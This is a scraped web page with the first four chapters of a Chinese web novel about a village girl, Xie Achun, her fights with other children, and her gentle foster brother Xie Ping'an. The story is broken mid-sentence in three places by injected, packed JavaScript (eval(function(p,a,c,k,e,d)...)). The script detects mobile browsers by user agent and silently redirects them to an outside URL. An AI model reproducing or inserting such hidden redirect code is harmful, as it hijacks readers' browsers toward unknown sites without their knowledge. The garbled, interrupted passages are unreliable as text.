《她想当皇帝很久了》 1. 第 1 章 谢阿春叼着根草,蹲在大榕树上望着村口。 这阵子村里新来了一户人家,儿子名叫李铁柱,凭着一身蛮力,收了不少村里小孩跟着他当跟班小弟,昨天更是遣人来说,要他们也认李铁柱做老大,不然有一个算一个,今天全揍得他们哭爹喊娘。 且不说谢阿春长这么大,最讨厌被人威胁,这话一出,把她这个清溪村现任老大的脸往哪儿搁? 自从她来了清溪村,凭借一手指哪儿打哪儿、例无虚发的弹弓神技,把几个爱欺负人的刺儿头治的服服帖帖,这么多年就没人敢欺负到她头上。 她倒要看看,这什么李铁柱究竟有几分斤两。 暮春的晌午,大人们不是在田里干活,就是在准备午饭,村口空无一人,只有油菜花随风轻晃。 榕树下,王二丫几个人凑在一处玩蹴鞠,这蹴鞠是二丫娘新做的,藤条架,棉花里,几个角还缠了流苏,颠球时流苏跟着上下飞舞,漂亮得紧。 王二丫将它看作宝贝疙瘩,众人央了几天,今天才说动她带出来,这会儿正玩得兴起。 谢阿春今年十岁,对这些却早早没了兴趣。 “阿春在看什么呀?”许是见她一直往村口看,王二丫问道。 一个男孩道:“在等谢哥哥吧,谢哥哥每次做好饭都来喊她呢,说起来,谢哥哥好温柔,不像我娘,每次来喊都要把我耳朵拧掉了……” “那你早点回去呀。”王二丫道。 男孩不平:“谢哥哥就不这样,上次谢阿春爬树上不愿意下来,我亲眼看着他在树下等了好久,一点气都不生!” “是呀,阿春的哥哥不仅脾气好,长得也好看,我长这么大,就没见过比谢家哥哥还好看的人。”另一个女孩也面露艳羡。 旁边一个瘦小麻脸男孩闻言,扔下戳蚂蚁的树枝,哼道:“你才见过几个人,去过几个地方?外头大着哩,你去京城看看,那儿就是只狗,都比咱们这儿的好看。” “嘁,我娘说洛阳离山阴远得很,坐三天三夜的船都到不了,你村子都没出过,就会说大话!” 麻脸男孩涨红了脸:“是我爹说的!他没去过洛阳,但去过建康,几年前皇帝还在建康住,我爹还见过皇帝呢!” “谁不知道皇帝是个傻子啊,”女孩冲他扮鬼脸,“一个傻子,有什么好看,谢家哥哥比他强一百倍。” 麻脸男孩恼羞成怒:“女的就是见识短!长得好看有什么用,我爹说了,这种男的,在京城就是个贵人养的玩意儿。” “赵小宝。”谢阿春忽然淡淡念了个名字。 脸红脖子粗的麻脸男孩抬了下头,对上谢阿春没什么表情的脸,顿时一梗,很没出息地缩了缩脖子,极轻地哼了声。 谢阿春没再和他计较,她听见了一阵脚步声。 “来了。”谢阿春眯了眯眼。 村口处,几个男孩向这边走来,为首之人又高又壮,穿一身黑袍,在一众穿蓝着绿的矮小村童里十分显眼。 “铁柱哥!”赵小宝立刻颠颠儿地迎上去,也不知说了什么,就站进了李铁柱身后的队伍,冲他们抛来一个挑衅的眼神。 谢阿春冷笑了一下。 等这群人走到近前,王二丫等人早退到树后,留出一大片空地。 为首的李铁柱抱臂站定,眼角扫视众人,眼风所过之处,几个小孩俱往树后缩了缩。 一个小跟班当先嚷嚷:“怎么样,想好了吗,愿不愿意认我们铁柱哥做老大?” 没人说话。 谢阿春在树上打量他片刻,忽然拨开树叶,一跃落在地上,离了枝叶遮挡,终于叫人看清了她的形貌。 只见她用红头绳绑了两个双丫髻,上身穿一件靛蓝褶衣,下着素白长裤,裤脚扎了束带,显得十分利落,偏偏上衣袖子又十分宽大,从树上跳下来时,两袖当风,像极了一只翩翩蓝蝶,利落里便又添了几分赏心悦目。 腰间挂了个布袋,还有一把木色沉实的弹弓,露在外头的皮肤有着太阳晒出的蜜色,瞧着骨架虽小,却并不瘦弱。尚且稚嫩的脸上,一双漆黑明亮的眼睛炯炯有神,往那儿一站,腰背笔直,扑面一股少年意气。 “铁柱哥,这就是我和你说的,谢阿春,王二丫她们几个的头儿。”一个小弟上前贴耳道。 谢阿春对上李铁柱望来的视线,下意识觉得危险,立刻按住了腰侧的弹弓。 “我李铁柱不是不讲道理的人,带着你的人跟了我,我让你做二把手,如何?” 谢阿春:“听不懂。” 李铁柱疑惑:“怎么会听不懂……”忽地反应过来,英气的眉毛顿时皱起,“你耍我?” 谢阿春学着他双手抱臂:“耍你又如何。” 李铁柱冷笑两声,也不说话,只开始慢吞吞地挽袖子。 他肤色微黑,肌肉也更加结实,谢阿春打量那条手臂,只觉得怕不是有自己两个粗。正出神间,一道拳风倏地擦着她的睫毛飞过,谢阿春眼睛仿佛被烫到一般,不由自主地闭上,浑身也霎时绷紧。 “现在呢,可听懂了?”李铁柱望着她,挑起的唇角似笑非笑,一副猫逗老鼠的模样。 谢阿春紧紧盯着李铁柱,胸中气血翻涌,按着弹弓的手松了又紧。 “阿春……”身后传来王二丫弱弱的声音,“你别冲动。” 谢阿春还没说话,李铁柱像是听到什么笑话,嗤一声笑起来。 “我倒想看看你怎么冲动,不如试试?能打过我,你就是我李铁柱的头儿,怎么样?” 他身后的几个小孩都哄笑起来,嘴里不干不净地说些浑话,谢阿春一个个看过去,都是村里的熟面孔。过去因为欺负弱小被谢阿春教训过,如今仗着李铁柱,可算能出一口恶气。 “铁柱哥小心,她身上有弹弓!”赵小宝忽然大叫。 谢阿春掏弹弓的手猛地一缩。 李铁柱顺着她的动作看了一眼,不以为意:“弹弓而已,小孩才玩的东西。” 赵小宝忙上前道:“铁柱哥,可不敢小瞧,谢阿春那手弹弓厉害,前几天水牛惹她不痛快,被她打得脸又红又肿,现在还没好呢。” 身后一个矮胖男孩猛猛点头,扯着嗓子哭诉:“我的门牙都被她打掉了,铁柱哥,你可得替我做主!” 李铁柱身后应声冒出一张肿得通红的猪头脸,张着豁牙的血盆大口,吓得他往后退了一步。 谢阿春嗤笑一声:“水牛,你本来就该换牙,自己掉的,别赖我身上。” 水牛吸了吸鼻涕,呜咽一声,闭上漏风的嘴退回了后头。 榕树后几人发出细小的笑声。 谢阿春眼见着李铁柱露出沉思之色,便知他也忌惮自己这手出神入化的弹弓技术,不由得挑了挑唇角。 却忽听赵小宝高声叫道:“谢阿春,做人总要讲道义,铁柱哥赤手空拳,你有武器,就算赢了也叫人不服,不如你把弹弓扔了,和铁柱哥堂堂正正比一场,敢不敢?” 其他小弟也跟着道:“她才不敢呢!离了她那个破弹弓,她哪里是铁柱哥的对手?” 谢阿春不服气:“谁说我不敢?” 赵小宝步步紧逼:“那你就放下弹弓,和我们铁柱哥比试一场!” 谢阿春抿了抿唇,站在原地没动。 “哈哈,她害怕啦!胆小鬼,胆小鬼!” “还用得着比吗,再有十个她,也不是铁柱哥的对手啊!” “说得对,咱们还等啥,这地方是咱的了!对不对,铁柱哥?” 李铁柱瞧了瞧谢阿春,没说话,只挥了挥手。 身后的小弟们欢呼一声,一哄而上,各自盘踞一方,拾起地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“有什么不敢说?谁不知道你是你哥从荒郊捡来的,我看你就该被冻死在建康!我爹说了,谢伯父和谢伯母若不是为了养你,前些年闹饥荒也不至于早死!晦气,灾星!他们要知道你长成这样,当初早把你跟王二丫大姐一起卖进窑子,换粮食都比养你个祸害强——” 话没说完,就被猛然扑上来的谢阿春打断,一拳打在脸上,迸出一颗蛀了一半的牙。 谢阿春像头被惹怒的小兽,骑在他身上,一拳拳照着他的脸挥,旁观的小孩愣是没人敢去拉架。 没几下,赵小宝哭声就从中气十足变得细不可闻,谢阿春浑身血气翻涌,眼神死死地盯着他,再要挥拳,突然被人握住了。 “够了,你还真想打死他?”李铁柱沉声道。 “让开!”谢阿春恶狠狠道,挣了挣,却纹丝没动。 李铁柱皱着眉头:“你脾气怎么这么大,不就是说你两句……” “用不着你管,还是你也想被我一起打?” 李铁柱气笑了:“你?就你?” 谢阿春二话不说,照着他的脸就是一拳,李铁柱不料她真敢动手,险险几步躲过,也被激出真火来,警告道:“我不打女的,你别逼我。” 谢阿春怒道:“用不着你让!”说着扑上去连踢带踹,没有章法地一顿乱捶,李铁柱耐着性子格挡,却也左支右绌,时不时就挨上一下,额头青筋直冒,终于找到机会,立刻按住她两只手:“谢阿春,你有完没完!” 谢阿春手动不了,便张开嘴对着他的手腕狠狠一咬,李铁柱推了她一把,这一下没收住力气,谢阿春倒退几步,扑通栽进溪水中。 岸上一片惊呼。 谢阿春在水里咽了几口水,鼻腔喉咙都火辣辣地疼,却咬牙迅速爬了起来。 众人只见溪里水花一冒,浑身湿透的谢阿春跟头喝饱水的牛犊一样冲了出来,撞翻上前查看的李铁柱,两人就这般缠打起来。 几个年纪小的孩子纷纷吓哭,一片混乱中,终于有人想起来喊大人。 谢阿春也忘记过了多久,只忽然听见一道熟悉的清润嗓音惊呼道:“阿春——” 2. 第 2 章 有人惊喜道:“是谢家哥哥来了!阿春,你哥哥来了,快别打了!” 谢阿春被怒气冲昏脑袋,只顾着和李铁柱厮打,李铁柱脾气倒是意外地好,除了刚才推那一下,从始至终没还手,只是露在外头的胳膊被她咬了个遍,想脱都脱不开身。 直到谢阿春鼻尖浮现一阵熟悉的皂角清香,一双修长白皙的手出现在眼前,握住了她攥着李铁柱的手腕。 手的主人她再熟悉不过,早上出门时,就是这双手给自己梳的发髻,细长的五指有着常做针线活的薄茧,从发间穿过时,温柔得像阵春风。和它的主人一样。 谢平安并没用多少力气,她的手却不由自主松开了。 谢阿春顺着他的力道站起身,忽然听见一声微不可察的叹息,一抬头,就撞上一双清亮的眼睛,干净,平和,仿佛一片永远宁静宽广的湖水,谢阿春总觉得无论她怎样折腾,这片湖都不会有一丝波动。 “可伤到哪里没有?”谢平安温声道。 谢阿春瞧着他,谢平安一向爱美,今日却很不讲究。那身洗得发白的蓝衫襟前洒了一片油渍,挽起的袖口沾了水,湿哒哒往下滴,鬓角不及擦拭的汗水浸湿黑发,连头上的发带都跑散了,无疑是正在做饭,匆匆被人喊来的。 谢阿春闷闷道:“没。” 谢平安神情关切,抬手摸了摸她的头,他比谢阿春长五岁,正是抽条的年纪,年初时谢阿春还能到他下巴,如今却踮起脚都够不着。 谢阿春对二人的身高差距一直耿耿于怀,故而很不喜欢谢平安摸她头,奈何谢平安自小养成习惯,说了几次也没改掉,谢阿春只能自己生闷气。 她偏头躲掉谢平安的手,谢平安也没什么异样,细细打量她几遍,确认没什么事,这才看向已经自己起身的李铁柱。 “是李家的弟弟么?对不住,我替阿春和你道歉,你可有受伤?”谢平安愧疚道。 李铁柱拍拍衣上尘土,目光移到他脸上,很明显地愣了一下。 旁边适时传来嘀咕:“谢家哥哥真好看呀,又白又高,和李铁柱站一起,显得更好看了。” 李铁柱僵了僵,目光抬至谢平安头顶的发髻,不由自主地挺了挺腰,站直了几分。 “没事,只是衣角有点脏罢了。” 他淡淡说着,不忘拉拉衣袖,把被咬得堪称凄惨的胳膊挡住。 谢平安一笑,如春风化雨:“听李婶说,你今年十三,论年纪,阿春该喊你声哥哥。她性子顽皮了一些,有些没轻重,做哥哥的你多担待。” 李铁柱瞟了谢阿春一眼,谢阿春从鼻子里重重哼了一声。 谢平安继续道:“李婶来了几天,我还没上门去过,原正打算晚些去拜访,到时给你带上从县城回春堂买的药膏,专治跌打损伤,弟弟莫嫌弃。” 李铁柱也没什么话好讲,只得沉默应下:“我是没事,但你要不要看看他?伤得最重的可不是我。” 谢平安怔了一下,人群里几个小孩让开道,露出地上躺着的麻脸男孩来,谢平安只瞧了一眼,就吸了口气,转头看向谢阿春。 谢阿春梗着脖子:“干嘛?” 谢平安瞧了她半晌,长长一叹:“没事……” 地上的赵小宝肿着脸,闭眼躺着。 其实谢阿春第一拳刚打上来,他就后悔了,他觉得谢阿春刚打完水牛闯了祸,这几天应该不敢再打人,才放肆了一些,没想到她竟一点亏都吃不得。 本想装死,以图谢阿春收手,谁知道谢阿春更起劲了,揪着他领子左右开弓。好容易等来大人,以为能给他主持公道,天知道他听见来的是谢阿春哥哥时,心都凉了。 感觉到眼前一暗,有人在他身旁蹲下,轻轻掀了掀他眼皮,又捏了捏他各处的骨头,捏得他有些痒,忍不住偷偷蠕动了一下。 谢平安的声音还是一如既往温和:“没什么大事,幸好。” 赵小宝听了几乎吐血,他都躺成这样了,他管这叫幸好! 早听说谢阿春哥哥护短,这何止护短,简直是睁眼说瞎话!果然,谢阿春长成今天这个无法无天的样子,都是他哥惯的,兄妹俩没一个好东西! 他正暗自唾骂,一道大嗓门嚷嚷着靠近:“哎唷喂,小兔崽子,又给我闯什么祸了——” 他一听,立刻激灵睁眼,一个鹞子翻身坐起,对上谢阿春阴沉的脸,又噗通倒地,双眼一闭,张嘴哭嚎:“娘!你可算来了——” 一个身材矮胖粗壮的农妇跑到近前,打眼一瞧这场面也是唬了一跳:“这是咋的了?怎么弄成这样?” 看到谢平安,又起笑来:“谢哥儿也在呢,哎唷,阿春怎么弄这么脏?这是你哥给你新做的衣裳吧?” 谢平安笑道:“不妨事,回来我给她洗洗,给赵婶你添麻烦了,阿春这孩子又淘气。” 一旁的赵小宝瞅准时机,连滚带爬抱住自己娘亲大腿,鼻涕眼泪糊一脸:“娘,谢阿春打我,你看看,把我牙都打掉了!” 赵婶近距离观察这张猪头脸,也吓得不轻,却知道自己儿子的脾性,没立刻就信,反问道:“阿春不是不讲道理的孩子,是不是你先招惹人家?还是又欺负谁家小孩了?” 赵小宝噎了噎:“我……我就是说了她两句……” “说什么了?” 赵小宝支支吾吾。 赵婶道:“阿春,他说什么了,你和婶子讲。” 谢平安闻言也看向谢阿春。 谢阿春转头避开他的视线:“没什么。” “没事阿春,你说给婶子,婶子替你教训他!” 谢阿春默了默,头顶忽然一沉,谢平安又在摸她的头,这次她没躲开。 “别怕,阿春,”谢平安眼里含着温和的光,“说吧,我在这儿呢。” 谢阿春看了他一会儿,突然道:“他说我是没爹没娘的野种。” 谢平安的手顿住了。 “说我是个灾星,你不该捡我,该叫我冻死,不是因为我,谢叔和林婶也不会死,还说我不识好歹,总给你惹祸,要是他们还活着,肯定把我卖去窑子——” 谢阿春一口气说着,语速越来越快,没等她说完,“啪”地一个耳光蓦然炸响。 赵小宝一脸不可置信,捂住自己更肿的脸,泪眼汪汪道:“娘,你怎么也打我……” 赵婶揪住他耳朵,怒不可遏:“我打死你个小兔崽子都不冤!你从哪儿学的浑话,用到人家阿春身上?是不是跟你那个混账爹学的?” 赵小宝呜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644011|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呜大哭,不住求饶,赵婶道:“你谢伯父和林婶婶还在的时候帮过咱家多少?要不是他们接济,闹饥荒的时候你也早死了!还能有嘴在这儿欺负人家闺女?” “什么闺女,她不就是个捡来的——” 赵婶二话不说,反手又甩了他两巴掌:“小兔崽子,你懂个屁!你林婶为什么不想藏着阿春的身世?是她不想吗?她拿阿春当亲闺女!” “你林婶说了,阿春定是富贵人家的孩子,当年北边胡乱才跟家里人走散,要能被找回去,比跟着他们吃苦强百倍。她那么好一个人,打从建康来到山阴就病倒了,支撑两年,还是去了……这是老天不开眼,和阿春有什么干系?” 赵婶陷入回忆里,抹了把眼角的水渍,絮絮道:“也不怪她,一个家里没落的小姐,跟着谢相公四处奔波,还做绣活儿贴补家用,熬得眼睛都坏了…… 谢相公也是个痴情的,林娘去后拖了一年,跟着就撒了手,留下两个小娃娃,谢哥儿那时候才十二岁,自己还是个小孩呀,就要照顾妹妹,造孽哟……” 谢平安一动不动,谢阿春眨了眨眼,抓住头顶的手想拿开,却没挪动。 “喂,谢平安,你抓疼我的头发了。” 谢平安如梦初醒,倏然撒手,神色歉然地捋了捋她的头发:“对不住……你饿不饿?家里饭做好了,你先回去吧。” 谢阿春皱了皱眉:“不饿,不回。” 谢平安叹了口气,没说什么。谢阿春也不太高兴,从她记事起,谢平安就像个小大人,整日爱操心,有叹不完的气,今年过完十五生辰,谢平安明显叹得更多了。 也不知出了什么事,问他也不说,谢阿春最讨厌他这样,总是拿她当小孩儿。 现在也是,什么饿不饿的,不就是想赶她走吗,她才不要! 谢平安从怀里掏出一条手巾递过去,宽慰道:“赵婶,没事的,都过去了。” 赵婶忙揩揩眼角,接过手巾,面有愧色地笑了笑:“你看我,又说起这些事,害你伤心了。” 谢平安笑笑:“我没事,赵婶,这几年多亏你和村里的长辈们帮忙,我和阿春才好过些,平安都记得。” 赵婶忙道:“应该的,应该的。你爹娘虽是外乡人,但当年没少帮村里做事,大家伙都没忘。饥荒时各家都难过,你娘亲还接济村里,你爹又是难得的读书人,当初村里小孩都是跟着他识的字,小宝也去过呢……” 说着扯过赵小宝:“臭小子,你都忘了是吧?” 赵小宝抓着自己耳朵哎唷地叫,谢平安打圆场:“小宝那时还小,不记得也正常。”话头一转,又道,“今天的事,阿春也有不对,小宝看郎中的钱——” “哎哟,你可别说这些,”赵婶大手一挥,“用不着,我回去给他贴两贴膏药,明天就好!用不着,用不着啊,时辰不早了,快带着阿春家去吧!” 揪着赵小宝的耳朵就往回走,边走边低声道,“小兔崽子,你看我回家怎么教训你……”赵小宝跟在后头,踉踉跄跄,哀嚎连连。 一场闹剧平息,孩子们也没了玩耍的兴致,李铁柱瞧了谢阿春一眼,也带着一帮跟班离开了。 四周安静下来,谢平安出神片刻,回头笑了笑:“回家吗,阿春?” 3. 第 3 章 谢阿春没说话,捡起掉落的蹴鞠,走向刚从榕树后出来的王二丫,递到她手里:“拿着。” 王二丫怔怔看着手里的蹴鞠,半晌忽然反应过来,讷讷喊道:“阿春!谢谢……” 谢阿春已经走远,听见也没回头,只是抬手随便挥了挥。谢平安跟在她身侧,两人缓缓朝着青山行去。 清溪村坐落在会稽山北麓,若耶溪从山上流下,几十户人家傍着潺潺流水,自南向北蜿蜒。 时值正午,田垄上不时有挎着竹篮、背着箬笠送饭的妇人,见了两人,都面带笑容地招呼。 谢阿春跟在谢平安后头,看着他熟练地与村里人寒暄,百无聊赖地眺望水田里梳羽的白鹭。 清明已过,油菜花也快要落了,再过一阵,四声杜鹃该在林里不歇地叫,日头也要燥热起来。 这几日天气多变,走到半途,南边飘来一堆云,淅沥沥就落起雨来。谢平安来的急,蓑衣箬笠都没带,便脱下外衫给谢阿春遮雨,而后拉着她小跑着往家去。 谢阿春家在缓坡上,推开篱笆院门,三间茅屋映入眼帘:正中为堂屋,西厢住谢阿春,东厢住谢平安,右手边是一个夯土矮房,平日谢平安烧饭就在这里。 西南角起了个窝棚,原本养了几只鸡鸭,谢父病重时都拿去换了治病钱,如今只堆些杂物。 谢阿春衣裳本是今早新换,泥里滚了一遭又被雨淋湿,脏得不成样子。进屋后,谢平安先去衣箧里翻出一套新衣裤,放在床上,叫她自己换了,自己转头到院里,把檐下晾晒的衣物一件件收起,这才回屋换下湿衣。换好后又进了厨房,将盛好的饭菜端进堂屋,擦净桌椅,摆好碗筷。 等他做完这些事,谢阿春也换好衣服出来了,身上穿的与她换下来的样式基本一致,只上衣是藕色,下裤是浅灰,对襟处还多系了条红丝带。 前阵子谢阿春跟着他进城,有城里小孩正是这套打扮,谢阿春嘴上没说,眼珠子却一直盯着人瞧,谢平安便知道她喜欢。 这衣服据说是打北方传来的,颇有几分胡风,洛阳城里也时兴,一问铺子里成衣贵得吓人,谢平安就从布行买了些制衣淘下来的布料,就着家里的材料缝了两身。 谢阿春面上不显,实际穿上新衣服十分高兴,便决定不和谢平安计较有事总瞒着她的毛病。 待坐下后,看到桌上有一道爱吃的蒸蜜藕,更是眼睛一亮,抓起筷子夹了一口,边嚼边道:“你从哪弄的蜂蜜?” 清溪村没人养蜜蜂,这东西不好养,寻常人家不常吃,富人又有自家佃农专人供奉,卖也不好卖。谢阿春不懂这么多,却也知道甜口的零嘴向来稀少,不是逢年过节,根本吃不着。 谢平安给她夹了两筷子清炒时笋:“这几日跟着二丫爹上山打了些野味,拿去城里卖了不少钱,就买了点。” 谢阿春点点头,不再多问,一上午体力消耗太多,这会儿正饿得前胸贴后背,捏着筷子便大快朵颐起来。 谢平安瞧着,悄悄松了口气,这几天谢阿春总说没胃口,吃饭很少,他才想着做点她爱吃的,好在有用。 吃过饭,谢平安将碗拿去厨房洗罢,外头雨还没停,反倒更大了,阴沉沉的天泼墨也似。如此天气,出门只能作罢。谢平安便搬了个马扎,坐在檐下绣手帕。 他两个月前满十五岁,按大燕律例,已不能再免赋税。过去三年,他都是用跟着娘亲学来的绣活儿换钱,外加给村里帮工贴补家用,如今不得不学着种地。 若只这些,倒也没什么,只是十五岁也要开始服徭役,往年秋收过后,朝廷便会开始征召,这几年上头坐了个痴傻皇帝,不问朝政,偏好玩乐,又大兴土木,听说隔壁村最近就有不少男丁被带走,他这阵子频频叹气,为的就是这事。 心里想着,谢平安不由得又叹了一下,他去服役也就罢了,谢阿春可怎么办呢? 谢阿春趴在堂屋的竹窗前,就着雨帘自己绑发髻,试了半天没绑好,又听见谢平安叹气,更是烦闷,半个身子探出窗外,把发带垂在谢平安眼前,语气硬邦邦:“谢平安,给我扎头发。” 谢平安自无不可,放下东西便进了堂屋。 谢阿春坐在正对门口的椅子上,有一搭没一搭地晃着脚,望着谢平安放绣绷的马扎。 谢平安手很巧,很快扎好两个双丫髻,松手时,谢阿春忽然道:“我的手帕呢?” 谢平安愣了愣,下意识去怀里掏,却掏了个空。 他之前绣了两条手帕,阿春一条,他一条,只是阿春经常忘带,便由他揣着,已经放了几个月,谢阿春都没有问过,今天怎么突然想起来? 谢阿春没有得到回复,不满道:“问你呢,我手帕呢?” 谢平安想了想:“许是方才给赵婶擦脸时,拿错手帕,把你的给她了。” 谢阿春重重一哼。 谢平安道:“我再给你绣一条,好不好?” 谢阿春不答,其实她早瞧见谢平安拿错了,一个手帕而已,她本来也不爱用,之所以要找不痛快,还是因为谢平安老叹气! 村里长辈都说她像个小大人,懂事又聪明,但对着谢平安,她就总想发脾气,她也说不上为什么。 谢平安却像有用不完的耐心似的,无论她怎么闹,都好声好气地哄,有时他越哄,谢阿春反倒越生气,真是古怪极了。 为了这个手帕,谢平安左哄右哄,直到外头雨停,王二丫的爹来叫他下地,才不得不走。 望着谢平安背上锄头出门的背影,谢阿春忽然反应过来,回家到现在,谢平安都没提过她与赵小宝的事。若是往常,无论如何也要念叨两句。 她从衣襟里拽出一条金链子,链子末端缀着一个元宝似的长命锁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644012|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >打从她记事起,这条长命锁就在她身上。几年过去,堂屋的老木头门掉了漆,院落的青石生了厚厚的青苔,这条长命锁还是一如既往金灿灿。 没人看的懂上面刻的花纹什么意思,就连读过书、做过小官的谢叔都不认得。 因为这条长命锁,林婶认定她是富贵人家的小孩,也因此,她和谢叔直到病死,也不愿把它卖了,换些救命钱。 就因为这条长命锁。 谢阿春看了它很久,没什么表情地收进怀里。 晚上,谢平安没有按时回来,她和往常一样去二丫家吃了饭,又帮着王二丫看了会儿小弟,比往常回的稍晚了些,到家时,正好在门口遇上谢平安。 “去哪儿了?”借着月光,谢阿春看向他怀里抱的东西。 谢平安笑道:“去看了看赵婶,又去了趟铁柱家。李婶以前在城里布坊做工,攒了很多布料,知道你还缺件夏裳,就给了我一块料子。”他摊开包裹,“你瞧瞧,鹅黄的颜色,喜欢吗?” 谢阿春看也不看,扭头进了院子,到厨房舀水洗手,又端着剩下的水去浇菜地,谢平安抱着布,一直跟在她后头,多次欲言又止。 谢阿春气不打一处来:“我知道你想说什么,不就是让我别和李铁柱打架?” 谢平安轻声劝道:“月前李婶相公刚去世,她一个人带着铁柱不容易,又是新搬来,咱们能帮的就多帮点,何况我看铁柱心思也不坏……” 谢阿春气急,上去就踹了他两脚,谢平安躲都没躲,像是习惯一样,任凭自己干净的裤脚上多了两个泥脚印。 谢阿春见他动都没动一下,显然不痛不痒,更是生气,把水瓢一扔就要走,被谢平安眼疾手快拉住。 “阿春,你不能总这样,以后……” 谢阿春等了半晌,没等到“以后”下半句,只等到又一声叹息。 积攒许久的情绪一下爆发,谢阿春扯开他的手,叫道:“我怎么样?你也嫌我总给你惹麻烦?你也觉得不该捡我?还是你也觉得是我害死——” “阿春!”谢平安少见地严厉了神色,喝止道。 谢阿春一下怔住了,眼泪比身体反应更快一步涌出,先是委屈,继而更加愤怒:“你凶我!谢平安,你凶我——” 谢平安立时就慌了,丢下怀里的包裹想去安慰,谢阿春却猛地后退两步,扯出怀里的长命锁,往他身上一砸,恨声道:“我就知道你怪我!用不着你说,你以为我不怪吗?要是能让林婶谢叔活着,谁要这破锁!” 谢平安:“我不是……” 谢阿春接着吼:“谁稀罕什么富家小姐!这么多年,除了你和谢叔林婶,他们也没出来管过我死活!” 谢平安一怔:“阿春……” 谢阿春吸了吸鼻涕,抹了把眼泪,绕过他走进里屋:“这锁谁爱要谁要,我不要了!” 4. 第 4 章 谢阿春一夜没睡,临早昏沉沉睡去,梦里也都是数不清的乱象。 她被谢平安捡到时才四岁,那之前的记忆早已模糊,只每每梦里能窥见一二刀光剑影,还有冲天火光。 再睁眼时,已是日上三竿,半敞的竹窗外洒进一片日光,四下寂寂。 谢阿春坐起身,忽然听见窗边有动静,转头一看,一只小黄鹂扑棱翅膀蹦上窗棱,正用黑豆似的小眼打量着她。 谢阿春露出一丝喜色,赤着脚踩下地,蹑手蹑脚走过去,小黄鹂歪了歪头,好奇地看着她动作。 谢阿春凑到窗边,试探着伸出一根手指,想摸一摸它的背毛,还没挨着,小黄鹂猛地飞起,扑扇着翅膀给了她几巴掌,迅速飞走了。 谢阿春呸了呸它掀起的飞灰,十分垂头丧气。这一闹也没了困意,穿上衣服后,便来到厨房舀水洗脸。 家里很安静,谢平安从不赖床,定是早早去田里了。今年家中分了地,她原想跟着谢平安一道下地帮忙,可谢平安非说她还小,偏偏不让,为了这事,她还和谢平安吵了一架。 厨房不大,却被谢平安收拾得很整洁,夯土垒起的灶台上,扣着一个罩子,掀开一看,一碗清粥,两样小菜还散着热气,想来谢平安中午才回来过,给她留好饭才又走了。 谢阿春说不上什么心情,没滋没味地吃好饭,破天荒地把碗洗了,又在院里坐了会儿,等得日头越来越高,谢平安也没回来——这个点前不着村后不着店,确实不是谢平安回来的时辰。 谢阿春心里闷得紧,想起小黄鹂,回屋揣上弹弓,把门挂好,出门往南边去。 村南头就是上山路,路旁有片树林,许多鸟在林子里筑巢,谢阿春很喜欢去那儿呆着,心情不好就打些虫子,通通喂鸟。 正午的树林里,不时传来“啪”“啪”的响声,每一声,都伴随着一只落地的虫子。 有几只早发的知了,也没能逃脱她的魔掌,林子里顿时清净不少。 很快,树下的落叶堆上就积攒了十几只叫不上名的虫子,放在往常,早有鸟儿飞来啄食,今日却不知怎的,半天都没见着一只鸟。 谢阿春这才觉得不对劲,就算她打掉了几只知了,今天的树林也太安静了些。 身后的草丛传来簌簌声,谢阿春倏地回身:“谁在那儿?” 不远处的草丛摇了摇,安静了片刻,忽然往前窜去,像是某种动物,谢阿春紧跟其后,左拐右拐,那东西却忽然消失了,正当她奇怪时,脚下土地一松,猝不及防掉了下去! 谢阿春重重摔进坑里,泥土草石掉了满头,她咳嗽几声,用手扇开尘土,头顶忽然传来大笑:“谢阿春,怎么样,爷爷我送你的大礼可还喜欢?” 这个声音! “赵小宝,你教训看来没吃够?”谢阿春嗤道。 上方坑边探出一张贴满黑色膏药的脸,赵小宝闻言往下吐了口唾沫,谢阿春嫌恶地躲开,只听他道:“呸!等下有你求着爷爷我的时候,看你还嘴硬!谢阿春,这坑可不浅,你倒看看能不能出的来?” 谢阿春四处望了望,粗算这坑得有两个谢平安那么高,坑壁和坑底都很光滑,想来是以前村里的猎户用来抓野物的陷阱,若没有工具,倒还真难出去。 赵小宝显然看出了她的犹豫,哼笑道:“知道怕了吧?现在给你爷爷我磕三个头,兴许我心情好,就不和你计较昨天你打我那几下,给你拉上来了。” 谢阿春:“你大白天就做梦?” 赵小宝恼羞成怒:“好啊谢阿春,你就嘴硬吧,铁柱哥说了,这儿偏的很,等我把坑口封上,你哭破天都没人能救你,你那长得跟个倌儿似的便宜哥来都没用!啊——” 剩余的话戛然而止,谢阿春收回瞄准他的弹弓,冷冷道:“再让我听见你嘴里这么不干净,信不信我真打瞎你一只眼?” 赵小宝捂着左眼,把冲到喉咙口的哽咽硬是憋了回去,这颗石头子打在他眼眶旁,正中鼻梁,疼得他眼泪决堤般狂流。 “你有种谢阿春,你就在里头呆到死吧!”赵小宝忿忿骂了几句,开始往坑口叠树枝落叶。 谢阿春头顶从一线亮光,慢慢变成斑驳碎影,最后变得漆黑一片。 “走喽!”坑外赵小宝雀跃地打了个呼哨,渐渐走远,周遭彻底陷入一片静默。 赵小宝说得对,这地方确实挺偏。 也不知道谢平安何时能找过来。 